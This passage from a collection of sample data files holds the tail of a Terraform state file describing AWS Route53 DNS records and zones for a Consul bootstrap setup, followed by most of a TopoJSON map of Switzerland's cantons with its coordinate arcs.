\"10.201.3.4\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"records.1313257749\": \"10.201.1.4\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"set_identifier\": \"\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"ttl\": \"300\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"type\": \"A\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"weight\": \"-1\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"zone_id\": \"Z68734P5178QN\"\n\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\t\"aws_route53_record.oasis-consul-bootstrap-ns\": {\n\t\t\t\t\t\t\t\t\t\t\"type\": \"aws_route53_record\",\n\t\t\t\t\t\t\t\t\t\t\"depends_on\": [\n\t\t\t\t\t\t\t\t\t\t\t\t\"aws_route53_zone.oasis-consul-bootstrap\",\n\t\t\t\t\t\t\t\t\t\t\t\t\"aws_route53_zone.oasis-consul-bootstrap\",\n\t\t\t\t\t\t\t\t\t\t\t\t\"aws_route53_zone.oasis-consul-bootstrap\",\n\t\t\t\t\t\t\t\t\t\t\t\t\"aws_route53_zone.oasis-consul-bootstrap\",\n\t\t\t\t\t\t\t\t\t\t\t\t\"aws_route53_zone.oasis-consul-bootstrap\"\n\t\t\t\t\t\t\t\t\t\t],\n\t\t\t\t\t\t\t\t\t\t\"primary\": {\n\t\t\t\t\t\t\t\t\t\t\t\t\"id\": \"Z68734P5178QN_consul.bootstrap_NS\",\n\t\t\t\t\t\t\t\t\t\t\t\t\"attributes\": {\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"failover\": \"\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"fqdn\": \"consul.bootstrap\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"health_check_id\": \"\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"id\": \"Z68734P5178QN_consul.bootstrap_NS\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"name\": \"consul.bootstrap\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"records.#\": \"4\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"records.1796532126\": \"ns-512.awsdns-00.net.\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"records.2728059479\": \"ns-1536.awsdns-00.co.uk.\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"records.4092160370\": \"ns-1024.awsdns-00.org.\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"records.456007465\": \"ns-0.awsdns-00.com.\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"set_identifier\": \"\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"ttl\": \"30\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"type\": \"NS\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"weight\": \"-1\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"zone_id\": \"Z68734P5178QN\"\n\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\t\"aws_route53_zone.oasis-consul-bootstrap\": {\n\t\t\t\t\t\t\t\t\t\t\"type\": \"aws_route53_zone\",\n\t\t\t\t\t\t\t\t\t\t\"primary\": {\n\t\t\t\t\t\t\t\t\t\t\t\t\"id\": \"Z68734P5178QN\",\n\t\t\t\t\t\t\t\t\t\t\t\t\"attributes\": {\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"comment\": \"Used to bootstrap consul dns\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"id\": \"Z68734P5178QN\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"name\": \"consul.bootstrap\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"name_servers.#\": \"4\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"name_servers.0\": \"ns-0.awsdns-00.com.\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"name_servers.1\": \"ns-1024.awsdns-00.org.\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"name_servers.2\": \"ns-1536.awsdns-00.co.uk.\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"name_servers.3\": \"ns-512.awsdns-00.net.\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"tags.#\": \"0\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"vpc_id\": \"vpc-65814701\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"vpc_region\": \"us-west-2\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"zone_id\": \"Z68734P5178QN\"\n\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t}\n\t\t]\n}\n"
  },
  {
    "path": "samples/JSON/switzerland.topojson",
    "content": "{\"type\":\"Topology\",\"transform\":{\"scale\":[0.00045364536453645373,0.00019901990199019923],\"translate\":[5.956,45.818]},\"objects\":{\"cantons\":{\"type\":\"GeometryCollection\",\"geometries\":[{\"type\":\"Polygon\",\"arcs\":[[0,1,2,3,4,5,6,7,8,9]],\"id\":\"ZH\",\"properties\":{\"name\":\"Zürich\"}},{\"type\":\"MultiPolygon\",\"arcs\":[[[10,11,12,13,14,15,16,17,18,19,20,21,22],[23],[24]],[[25,26]],[[27]],[[28,29]]],\"id\":\"BE\",\"properties\":{\"name\":\"Bern/Berne\"}},{\"type\":\"Polygon\",\"arcs\":[[-12,30,31,32,33,34]],\"id\":\"LU\",\"properties\":{\"name\":\"Luzern\"}},{\"type\":\"Polygon\",\"arcs\":[[35,36,37,38,-16,39,40,41]],\"id\":\"UR\",\"properties\":{\"name\":\"Uri\"}},{\"type\":\"Polygon\",\"arcs\":[[42,-33,43,-1,44,45,46,-42]],\"id\":\"SZ\",\"properties\":{\"name\":\"Schwyz\"}},{\"type\":\"MultiPolygon\",\"arcs\":[[[-13,-35,47]],[[-15,48,-40]]],\"id\":\"OW\",\"properties\":{\"name\":\"Obwalden\"}},{\"type\":\"Polygon\",\"arcs\":[[-34,-43,-41,-49,-14,-48]],\"id\":\"NW\",\"properties\":{\"name\":\"Nidwalden\"}},{\"type\":\"Polygon\",\"arcs\":[[49,-36,-47,50,51]],\"id\":\"GL\",\"properties\":{\"name\":\"Glarus\"}},{\"type\":\"Polygon\",\"arcs\":[[-32,52,-2,-44]],\"id\":\"ZG\",\"properties\":{\"name\":\"Zug\"}},{\"type\":\"MultiPolygon\",\"arcs\":[[[53,54,55,-27,56,-19],[57]],[[58]],[[59,60]],[[61]],[[62]]],\"id\":\"FR\",\"properties\":{\"name\":\"Fribourg\"}},{\"type\":\"MultiPolygon\",\"arcs\":[[[-30,63,64,65,-23]],[[66]],[[67,68,69]],[[70,71]]],\"id\":\"SO\",\"properties\":{\"name\":\"Solothurn\"}},{\"type\":\"Polygon\",\"arcs\":[[72,73]],\"id\":\"BS\",\"properties\":{\"name\":\"Basel-Stadt\"}},{\"type\":\"MultiPolygon\",\"arcs\":[[[74,-70,75,-71,76,-73,77,78,-65]],[[79,80,-68]]],\"id\":\"BL\",\"properties\":{\"name\":\"Basel-Landschaft\"}},{\"type\":\"MultiPolygon\",\"arcs\":[[[-7,81,82,83]],[[84,85]],[[-5,86]]],\"id\":\"SH\",\"properties\":{\"name\":\"Schaffhausen\"}},{\"type\":\"Polygon\",\"arcs\":[[87,88,89,90,91,92]],\"id\":\"AR\",\"properties\":{\"name\":\"Appenzell Ausserrhoden\"}},{\"type\":\"MultiPolygon\",\"arcs\":[[[93,-92]],[[94,-90]],[[-88,95]]],\"id\":\"AI\",\"properties\":{\"name\":\"Appenzell Innerrhoden\"}},{\"type\":\"MultiPolygon\",\"arcs\":[[[-51,-45,-10,96,97,98,-52],[99],[-94,-91,-95,-89,-96,-93]],[[100]]],\"id\":\"SG\",\"properties\":{\"name\":\"St. Gallen\"}},{\"type\":\"Polygon\",\"arcs\":[[101,-37,-50,-99,102]],\"id\":\"GR\",\"properties\":{\"name\":\"Graubünden/Grigioni\"}},{\"type\":\"Polygon\",\"arcs\":[[-53,-31,-11,-66,-79,103,-3]],\"id\":\"AG\",\"properties\":{\"name\":\"Aargau\"}},{\"type\":\"MultiPolygon\",\"arcs\":[[[-9,104,-83,105,-85,106,-97],[-101]],[[107]]],\"id\":\"TG\",\"properties\":{\"name\":\"Thurgau\"}},{\"type\":\"Polygon\",\"arcs\":[[108,-38,-102,109],[110]],\"id\":\"TI\",\"properties\":{\"name\":\"Ticino\"}},{\"type\":\"MultiPolygon\",\"arcs\":[[[111,112,113,114,115,-61,116,-54,-18,117,118],[-62],[119],[120]],[[-26,-56,121,-20,-57]]],\"id\":\"VD\",\"properties\":{\"name\":\"Vaud\"}},{\"type\":\"Polygon\",\"arcs\":[[-118,-17,-39,-109,122]],\"id\":\"VS\",\"properties\":{\"name\":\"Valais/Wallis\"}},{\"type\":\"Polygon\",\"arcs\":[[-122,-55,-117,-60,-116,123,124,-21]],\"id\":\"NE\",\"properties\":{\"name\":\"Neuchâtel\"}},{\"type\":\"MultiPolygon\",\"arcs\":[[[-114,125]],[[126]],[[127]]],\"id\":\"GE\",\"properties\":{\"name\":\"Genève\"}},{\"type\":\"Polygon\",\"arcs\":[[-64,-29,-22,-125,128,-80,-75]],\"id\":\"JU\",\"properties\":{\"name\":\"Jura\"}}]}},\"arcs\":[[[6286,7049],[-33,10],[-114,-55],[-60,-45],[-9,-15],[-13,10],[-2,-5],[0,-5],[0,-5],[0,-6],[-2,0],[-5,-5],[-4,0],[-5,0],[-2,0],[-2,0],[0,-5],[-20,-45],[-6,-10],[-3,-5],[-2,-25],[2,-10],[3,-15],[8,-10],[9,-10],[5,-15],[0,-15]],[[6031,6763],[-9,-5],[-9,0],[-13,-10],[-7,-10],[-20,5],[-8,5],[-3,25],[0,25],[-2,0],[-2,0],[-2,0],[-5,-5],[-2,0],[-2,0],[-2,5],[-3,0],[-4,-5],[-9,0],[-2,0],[-2,-5],[-2,0],[-5,0],[-2,5],[0,5],[-2,5],[-7,0],[-2,0],[-4,0],[-3,0],[-4,0],[-2,0],[-2,0],[-5,0],[-2,5],[-2,0],[0,10],[2,5],[0,5],[2,0],[2,5],[3,5],[0,5],[-5,5],[0,5],[-2,10],[-4,10],[-5,5],[0,5],[0,5],[0,5],[0,5],[-4,5],[-2,0],[0,5],[0,5],[0,5],[-3,5],[0,5],[-2,11],[-2,5],[-2,5],[-3,5],[-2,0],[-2,5],[-2,0],[0,5],[-5,5],[-4,0],[-2,0],[-2,-5],[-3,-5],[-2,0],[-2,-5],[-2,0],[-2,0],[-3,5],[-2,5],[0,5],[2,5],[-2,5],[2,5],[0,5],[-4,5],[0,5],[-2,5],[-2,0],[-3,0],[-2,0],[-2,0],[-4,5],[-3,0],[-2,-5],[-2,-5],[-2,0],[-2,0],[-3,0],[-2,10],[0,5],[0,5],[2,10],[0,5],[-2,0],[-2,0],[-2,0],[-5,0],[0,5],[-2,0],[0,-5],[-6,-5],[-3,5],[-26,10],[-7,5],[-9,10],[-2,-5],[-15,-5],[-7,5],[-9,5],[-6,-10],[-9,5],[-2,-20],[-2,0],[-7,5],[-7,0],[-2,0],[-2,5],[-2,0],[-3,-5],[-15,0],[-2,-20],[-5,5],[-4,-10],[-7,5],[3,-5],[-9,-10],[-9,0],[-2,0],[-16,-5],[-13,-15],[-9,5],[-8,5],[-7,-5],[2,10],[-7,5],[0,5],[-6,0],[-2,5],[-14,0],[-8,25],[-9,-5],[-2,10],[-5,0],[-4,0],[0,5],[-2,5],[-3,5],[-4,0],[-7,10],[-8,-5],[-18,5],[-16,-10],[0,5],[0,5],[-2,5],[-2,0],[-2,0],[0,5],[0,5],[-2,10],[0,15],[0,5],[-3,10],[0,5],[0,5],[-2,0],[-2,5],[0,6],[4,0],[0,5],[-2,5],[-2,5],[-2,5],[-2,15],[-3,5],[-2,0]],[[5411,7185],[-2,5],[-4,10],[-11,15],[0,5],[0,5],[0,5],[0,5],[2,0],[0,5],[2,0],[0,5],[-2,5],[0,5],[-2,5],[-3,0],[-2,5],[0,5],[-2,0],[2,5],[0,5],[0,5],[2,5],[3,10],[0,5],[-3,5],[0,5],[-11,10],[-2,5],[-2,5],[0,5],[-2,0],[0,5],[-2,21],[-3,10],[-4,10],[-2,10],[6,5],[11,-15],[16,15],[0,5],[24,5],[9,10],[6,15],[16,15],[-2,0],[6,25],[-2,0],[-2,5],[7,5],[0,20],[8,10],[0,5],[11,5],[0,10],[11,10],[7,16],[2,15],[-2,0],[9,15],[-2,0],[6,25],[-2,5],[-2,-10],[-5,5],[-2,-20],[-13,-5],[-4,-10],[-11,0],[-5,-10],[-4,5],[-9,5],[-29,-15],[-2,10],[-4,5],[0,10],[8,25],[-2,10],[0,5],[-2,0],[-2,5],[-5,5],[-4,5],[-7,10],[0,10],[-6,15],[6,25],[5,15],[-5,5],[3,20],[-7,21],[7,15],[-3,15],[-15,5],[2,15],[-2,5],[-7,5],[0,5],[-2,0],[2,5],[0,5],[0,5],[-2,0],[-4,5],[0,5],[2,10],[0,15],[0,15],[0,5],[2,5],[2,0],[0,10],[-2,0],[-2,-5],[0,5],[-7,10],[-4,-5],[-2,0],[-11,0],[-3,-5],[-6,30],[-5,0],[-8,-5],[-18,0],[-7,10],[-2,6],[9,0],[2,-6],[5,11],[15,10],[2,-5],[2,-5],[3,-5],[6,10],[7,10],[-7,10],[-2,15],[9,15],[-7,10],[5,10],[6,-10],[11,20],[0,10],[-2,10],[-2,5],[-4,10],[0,5],[-7,0],[-2,0],[-5,5],[-6,0],[-5,0],[-4,5],[0,5],[0,5],[4,10],[5,-5],[2,0],[6,0],[3,10],[2,10],[-2,15],[-5,5],[-2,31],[2,0],[0,5],[5,5],[6,0],[-9,35],[-6,0],[-2,15],[-14,0],[-8,30],[-7,5],[0,5],[4,5],[0,5],[-4,5],[4,0],[9,0],[7,5],[-2,20],[-3,30],[-19,0],[-5,26],[2,25],[-4,25],[-7,5],[9,10],[2,10],[-8,0],[-3,5],[3,10],[0,10],[6,10],[-2,10],[4,5],[5,0],[2,0],[2,5],[2,-5],[0,5],[-2,0],[5,0],[4,-5],[2,5],[5,-5],[2,5],[4,0],[7,15],[-2,5],[2,0],[2,46],[7,15],[6,5],[7,-10],[-2,-5],[6,-5],[3,5],[6,10],[-2,15],[2,5],[16,5],[2,10],[-7,25],[7,-10],[4,10],[-2,10],[4,0],[3,10],[6,10],[16,0],[-7,10],[4,10],[-4,10],[-2,10],[9,20],[0,15],[-3,0],[3,15],[17,21]],[[5444,8793],[2,-5],[3,0],[2,0],[2,0],[5,0],[2,0],[6,0],[3,0],[2,0],[2,0],[2,5],[2,0],[5,5],[4,0],[2,5],[3,0],[8,5],[5,5],[2,0],[2,0],[2,0],[3,0],[4,0],[4,0],[3,0],[2,0],[2,0],[2,0],[2,5],[3,0],[2,0],[2,5],[2,0],[2,5],[3,0],[0,5],[4,0],[0,5],[2,0],[3,0],[0,5],[2,0],[2,0],[2,0],[2,0],[3,0],[2,-5],[2,0],[2,0],[2,0],[3,0],[2,5],[2,0],[2,5],[2,5],[5,0],[0,5],[2,0],[4,0],[-2,10],[-11,25],[-4,-5],[-9,0],[-2,0],[0,-5],[-2,-5],[-3,0],[-2,0],[-2,0],[-2,0],[-5,0],[-2,0],[-2,-5],[-2,5],[-3,0],[-2,0],[0,-5],[-2,0],[-2,0],[-2,0],[-5,20],[-4,0],[-7,0],[2,15],[0,10],[-4,15],[-4,5],[-3,15],[3,10],[6,0],[7,0],[6,5],[5,5],[0,6],[4,0],[2,10],[-2,5],[9,0],[2,0],[7,15],[0,5],[2,5],[-2,5],[2,5],[2,0],[3,-5],[4,0],[2,0],[2,5],[3,0],[0,-5],[2,0],[2,5],[2,0],[2,0],[5,0],[2,0],[0,-5],[2,0],[0,5],[2,0],[3,0],[2,0],[2,5],[2,0],[7,5],[2,0],[2,0],[5,0],[4,5],[-2,0],[2,0],[0,20],[-2,10],[9,-5],[4,0],[4,0],[0,10],[-4,0],[0,5],[0,5],[2,-5],[2,5],[0,5],[3,0],[-3,5],[0,10],[3,5],[0,10],[2,0],[9,0],[11,-10],[9,0],[4,0],[4,-5],[5,0],[4,0],[2,0],[0,-15],[0,-10],[9,5],[2,-10],[7,5],[4,-5],[5,0],[4,0],[9,0],[2,-5],[2,-5],[0,-5],[5,-5],[0,-5],[2,-5],[0,-5],[2,-5],[11,0],[3,0],[2,-5],[0,-5],[0,-5],[2,0],[0,-5],[0,-5],[7,0],[-3,-5],[-6,0],[-9,-5],[0,-15],[0,-10],[-5,-11],[-6,-10],[4,-5],[0,-5]],[[5746,8948],[-13,-10],[-2,-5],[0,-10],[-13,-10],[-5,5],[-6,-5],[-16,-20],[-6,-5],[4,-20],[-7,0],[0,-10],[5,0],[0,-10],[9,-5],[-5,0],[-6,-15],[11,-5],[11,5],[2,-5],[0,-15],[-9,-5],[2,-5],[5,-5],[6,-15],[2,-6],[3,-10],[0,-10],[2,-5],[0,-5],[0,-5],[4,-10],[5,-10],[2,-5],[4,0],[2,5],[3,0],[2,5],[2,10],[4,10],[0,5],[3,5],[2,5],[2,5],[2,5],[0,5],[3,6],[0,5],[2,5],[0,5],[0,15],[0,5],[4,10],[0,5],[2,0],[3,5],[4,0],[2,0],[5,0],[2,0],[0,5],[2,5],[-2,0],[0,5],[-2,10],[-5,15],[0,5],[0,10],[2,5],[0,5],[3,5],[4,5],[2,5],[2,5],[5,5],[4,0],[5,5],[4,0],[4,5],[3,0],[2,5],[0,5],[-2,10],[0,10],[2,0],[0,10],[2,11]],[[5819,8984],[0,5],[2,0],[2,0],[3,5],[2,0],[0,5],[2,0],[2,5],[2,5],[3,5],[0,5],[2,0],[0,5],[0,5],[0,5],[0,5],[-2,0],[0,5],[-3,5],[-2,5],[0,5],[-2,0],[0,5],[-2,5],[0,5],[-2,5],[0,5],[-3,5],[-2,10],[0,5],[0,5],[0,5],[0,5],[0,15],[-2,5],[0,5],[0,5],[-2,0],[0,5],[0,5],[0,5],[0,5],[2,0],[0,5],[2,0],[7,5],[2,0],[0,6],[2,0],[0,5],[2,0],[0,5],[0,5],[0,5],[3,5],[2,5],[2,0],[2,5],[0,-5],[2,0],[3,0],[2,-5],[2,0],[2,-5],[2,-5],[0,-5],[3,0],[0,-5],[0,-5],[0,-6],[0,-5],[-3,-5],[-2,0],[0,-5],[-2,0],[-2,0],[-2,0],[-3,0],[-2,0],[-2,0],[-2,0],[-2,0],[0,-5],[-3,0],[0,-5],[0,-5],[3,-5],[2,0],[0,-5],[2,0],[2,0],[2,0],[3,0],[2,0],[2,0],[2,0],[2,0],[3,5],[2,0],[2,0],[2,0],[3,0],[2,5],[2,0],[2,0],[2,5],[3,5],[2,0],[0,5],[2,5],[0,5],[2,0],[0,5],[2,6],[0,5],[3,5],[0,5],[2,0],[0,5],[0,5],[0,5],[0,5],[-2,0],[-3,5],[-4,10],[-2,0],[-2,5],[-3,5],[-2,5],[-4,0],[-2,5],[-3,0],[-2,5],[-4,5],[-3,-5],[-4,5],[-2,5],[-2,0],[0,5],[-3,0],[0,5],[-2,5],[0,5],[-2,10]],[[5841,9300],[2,0],[2,15],[5,0],[0,5],[2,10],[0,5],[4,5],[3,0],[0,5],[2,0],[4,-5],[0,-5],[3,0],[0,-5],[2,0],[4,0],[7,5],[2,0],[2,5],[2,5],[0,5],[0,5],[0,10],[-2,15],[-2,11],[-2,5],[0,15],[2,0],[0,5],[2,0],[5,0],[4,5],[2,0],[2,0],[5,0],[6,0],[3,0],[4,5],[7,5],[2,0],[2,-5],[2,0],[2,-5],[5,-5],[4,0],[2,-5],[9,-15],[5,-5],[6,-6],[5,0]],[[5967,9385],[2,0],[2,-5],[2,5],[3,-5],[2,0],[2,0],[2,0]],[[5982,9380],[-4,-35],[0,-10],[4,-5],[16,-15],[2,-15],[2,-10],[-2,-5],[0,-10],[4,-20],[2,-15],[9,-10],[5,-15],[4,-15],[11,-5],[13,-5],[7,-11],[13,-15],[5,10],[6,0],[2,-5],[3,0],[2,-5],[6,-5],[5,0],[9,10],[13,-5],[4,0],[9,0],[11,5],[2,-15],[7,-5],[4,10],[20,10],[5,16],[4,0],[7,15],[8,5],[9,0],[5,-5],[2,0],[4,10],[9,5],[9,15],[0,15],[2,15],[4,20],[9,0],[14,0],[8,0],[5,0],[-2,-5],[0,-15],[2,-5],[-2,-25],[2,-15],[11,0],[11,-10],[15,-5],[9,-10],[0,-16],[2,-10],[2,-10],[-6,-15],[-2,-15],[2,0],[-7,-10],[-4,-15],[-5,5],[0,-10],[-4,5],[-2,-5],[-5,-5],[3,-10],[-5,-10],[7,-10],[-7,-10],[5,-10],[-11,-10],[0,-5],[-9,0],[-2,-30],[-5,-26],[2,-5],[0,-5],[-4,5],[-7,0],[-6,0],[-14,5],[0,21],[3,5],[-5,10],[-20,15],[-6,0],[-2,10],[-11,0],[-18,15],[-9,0],[-2,-5],[-13,15],[-5,5],[-2,10],[-4,-5],[0,-45],[-5,0],[-4,-5],[-5,0],[-2,-20],[7,-5],[4,-21],[5,-15],[6,0],[-6,-15],[2,-5],[2,-20],[2,0],[5,5],[6,0],[3,0],[4,0],[9,0],[2,0],[4,0],[9,-5],[2,0],[3,0],[6,-5],[7,-5],[4,0],[0,-5],[2,0],[3,0],[2,0],[4,-5],[5,0],[19,-10],[9,-5],[18,-10],[0,-5],[-9,5],[-2,-10],[11,-5],[-2,-25],[6,-5],[-2,-10],[7,-5],[15,-5],[2,10],[5,-5],[0,5],[4,0],[0,5],[18,-10],[0,10],[2,5],[18,-15],[-3,-10],[3,0],[0,-20],[13,5],[-2,-16],[15,5],[0,-15],[-13,0],[-7,-5],[-6,-15],[-22,5],[2,-10],[-5,0],[5,-15],[2,-5],[-2,0],[2,-10],[2,-5],[0,-5],[5,-25],[4,0],[11,-30],[0,-20],[18,-10],[11,5],[4,-5],[13,0],[14,-5],[6,0],[7,-5],[6,-5],[7,-5],[0,5],[7,5],[6,-5],[5,0],[4,-5],[13,-5],[7,-10],[-4,-16],[-5,-10],[5,-5],[-3,-25],[5,-10],[-2,-30],[-5,-10],[-4,-10],[0,-30],[0,-5],[0,-5],[0,-5],[0,-20],[9,0],[0,-15],[-14,-11],[-13,-5],[0,-25],[-9,-10],[7,-5],[0,-20],[15,-5],[0,-5],[3,-10],[2,-5],[-2,0],[0,-5],[2,0],[6,-5],[0,-10],[0,-5],[0,-5],[5,-5],[4,-20],[9,-5],[11,-25],[-13,-20],[9,-26],[8,-10],[16,-5],[9,-5],[8,0],[3,0],[13,5],[0,-10],[-5,-10],[-8,-5],[-11,10],[-7,0],[-2,-5],[-2,5],[-9,-5],[-2,10],[-3,0],[-6,-15],[0,-5],[2,0],[9,-10],[0,-5],[-2,-5],[0,-5],[-3,-10],[9,-20],[-4,-10],[-2,-10],[2,-10],[-18,-40],[-2,-15],[2,0],[2,-6],[5,0],[4,6],[2,0],[3,-6],[2,0],[2,0],[4,-5],[5,0],[4,0],[5,-5],[4,-5],[2,-5],[2,0],[3,-5],[2,-5],[2,-5],[4,-10],[3,-5],[4,0],[5,-5],[4,-5],[9,-10],[2,-5],[2,-5],[0,-5],[-2,-5],[-4,-10],[-3,-5],[3,-5],[2,-5],[4,-10]],[[6586,7828],[2,-5],[5,0],[2,0],[0,-5],[2,-5],[2,0],[3,-5],[2,-5],[0,-15],[2,-5],[4,-10],[0,-10],[5,-11],[2,-10],[2,-5],[2,-5],[3,-5],[-3,-5],[0,-5],[3,0],[2,0],[2,0],[2,0],[5,0],[2,0],[6,-10],[5,0],[4,-20],[-2,-40],[13,-10],[-4,-30],[0,-25],[18,-41],[-23,-60],[-11,-5],[-6,0],[-7,0],[-15,-5],[-9,-30],[-2,-5],[0,-5],[-7,-15],[0,-10],[-4,0],[-2,-5],[-3,0],[-2,0],[-2,5],[-2,-5],[-2,0],[0,-5],[-5,0],[-2,-5],[-2,5],[-2,-5],[-3,0],[-2,0],[0,-5],[16,-20],[2,-10],[-2,-11],[6,0],[5,11],[4,0],[0,-16],[0,-5],[0,-10],[-2,-5],[-5,-5],[-2,-5],[-2,0],[-2,0],[-2,-5],[6,-15],[-2,-10],[-7,0],[3,-5],[-7,-10],[-4,-15],[-5,-5],[-2,-5],[-9,5],[-2,-5],[-35,-20],[-9,-5],[0,15],[-7,-10],[-13,0],[-4,-5],[-27,-5],[-26,-5],[2,-20],[-9,-5],[0,-10],[-7,-5],[-2,5],[-11,-10],[-2,5],[-2,0],[-2,0],[-3,5],[-2,0],[0,-5],[-2,5],[-2,0],[0,5],[-2,5],[0,5],[0,5],[-3,0],[0,10],[-15,-10],[0,-10],[-16,0],[-4,10],[-7,5],[-6,0],[-2,0],[-3,0],[-4,5],[-37,-15],[-14,-5],[-2,-10],[-6,-10],[0,-5],[-5,0],[-2,-16],[26,-90]],[[4119,7275],[0,-5],[7,-5],[-2,-5],[2,0],[-2,-5],[0,-5],[4,0],[2,-5],[-4,-5],[2,-15],[-2,-5],[2,0],[-2,-5],[-4,-5],[-3,-5],[5,-5],[2,0],[-2,-5],[-2,-5],[0,-5],[0,-5],[0,-5],[2,-5],[2,0],[0,-5],[0,-5],[4,0],[0,-5],[3,-5],[2,-5],[2,0],[2,-11],[5,-5],[6,-15]],[[4150,7114],[-4,-5],[0,-5],[0,-10],[-2,0],[2,-5],[0,-10],[0,-5],[0,-10],[7,-5],[2,-5],[4,-10],[2,-10],[3,0],[2,-5],[2,0],[0,-5],[0,-5],[0,-5],[2,-5],[2,-10],[0,-5],[3,-5],[2,-5],[2,-5],[2,-5],[2,-5],[-2,-5],[2,-5],[3,-5],[2,-5],[2,-5],[7,-5],[-3,-6],[3,-15],[0,-5],[-3,-5],[3,-5],[4,0],[2,0],[0,-10],[5,0],[0,-5],[0,-5],[4,0],[4,-10],[14,-10],[2,-5],[0,-5],[4,-10],[2,-5],[3,-5],[-3,-5],[3,-5],[0,-5],[4,-5],[2,-5],[-2,-5],[-4,-10],[-3,0],[-2,-10],[-2,-5],[-2,-5],[-2,-20],[2,-10],[0,-16],[2,-10],[0,-10],[2,-10],[5,-10],[2,-10],[4,0],[9,-15],[7,-15],[0,-10],[0,-20],[-5,-5],[5,-10],[-9,0],[0,-15],[0,-5],[-7,0],[-22,-15],[2,-10],[-6,-5],[-5,-5],[-2,-5],[0,-10],[0,-6],[7,0],[-5,-25],[14,-10],[-5,-25],[0,-10],[5,5],[2,-10],[-5,-20],[11,-10],[3,-10],[-5,-5],[5,-10],[2,-5],[2,-5],[-2,-15],[-5,-20],[5,0],[-5,-10],[-4,0],[4,-5],[-2,-26],[-4,-5],[2,-10],[-9,-25],[-4,-10],[0,-5],[2,0],[2,0],[2,-5],[-2,-5],[-2,-5],[-7,-10],[-2,-10],[-4,-15],[4,-5],[-2,-10],[2,-5],[0,-5],[2,-5],[-2,0],[7,-5],[2,-5],[7,-20],[4,0],[7,-5],[4,5],[5,-20],[-3,-11],[5,-10],[15,-15],[5,-10],[-3,-15],[5,-15],[11,-20],[0,-5],[-5,-15],[-2,-5],[5,-20],[6,-15],[7,5],[6,0],[5,5],[9,5],[4,0],[9,10],[6,0],[5,-5],[7,-20],[4,-5],[7,-5],[15,5],[2,0],[9,0],[7,5],[8,0],[9,-15],[-4,-5],[-5,-25],[-8,-16],[4,-35],[4,-30],[-17,-20],[2,-35],[2,-5],[-13,-20],[-9,-5],[-9,-10],[0,-56],[-6,-15],[-7,0],[-9,-5],[-2,-25],[-13,-35],[-7,-10],[-9,0],[-22,10],[-6,-5],[-5,-5],[-4,-5],[-2,0],[-5,-5],[-4,-5],[-11,-5],[0,-5],[-7,0],[-4,-5],[-2,-5],[-3,0],[-2,-5],[0,-5],[-2,0],[-2,-10],[-2,-10],[0,-5],[0,-5],[-3,0],[-2,-5],[0,-5],[-2,0],[0,-5],[0,-6],[2,0],[11,-5],[2,-5],[0,-5],[3,0],[2,0],[4,0],[2,0],[3,0],[4,-15],[2,0],[0,-5],[0,-15],[-6,-15],[0,-5],[4,0],[-9,-5],[-6,-15],[-5,-20],[0,-10],[-6,-5],[-5,-10],[-20,-10],[-6,-20],[4,-30],[0,-11],[-2,-10],[15,-10],[3,-15],[11,-10],[-7,-25],[2,-20],[-2,-20],[7,-20],[0,-15],[15,-35],[42,-31],[57,-55],[55,-75],[9,-25],[2,-10],[5,-10],[0,-5],[-2,-5],[2,-11],[4,-5],[2,-5],[3,0],[4,-5],[2,0],[2,-5],[3,-5],[2,0],[2,0],[2,-5],[2,0],[3,-5],[2,0],[0,-5],[0,-5],[2,-5],[2,-5],[7,-15],[13,-5],[9,-10],[20,20],[11,15],[15,10],[36,25],[22,5],[17,-10],[18,-5],[4,5]],[[4613,4873],[5,0],[8,0],[5,0],[6,-10],[20,15],[14,-10],[8,0],[7,0],[18,5],[2,-20],[13,-25],[7,-5],[4,-20],[7,-5],[20,0],[11,-10],[6,-5],[53,-75],[29,20],[20,35],[8,-10],[40,30],[13,-10],[27,5],[9,-15],[15,-15],[7,-10],[26,5],[11,40],[44,-30],[11,-20],[11,-30],[16,5],[15,-10],[18,25],[11,5],[4,15],[9,0],[31,40],[13,20],[24,35],[60,10],[9,5],[0,10],[11,10]],[[5319,4873],[4,0],[13,-10],[7,-15],[15,-25],[11,0],[7,-30]],[[5376,4793],[2,-35],[11,10],[16,15],[13,20],[9,0],[6,-5],[5,-10],[8,0],[0,5],[1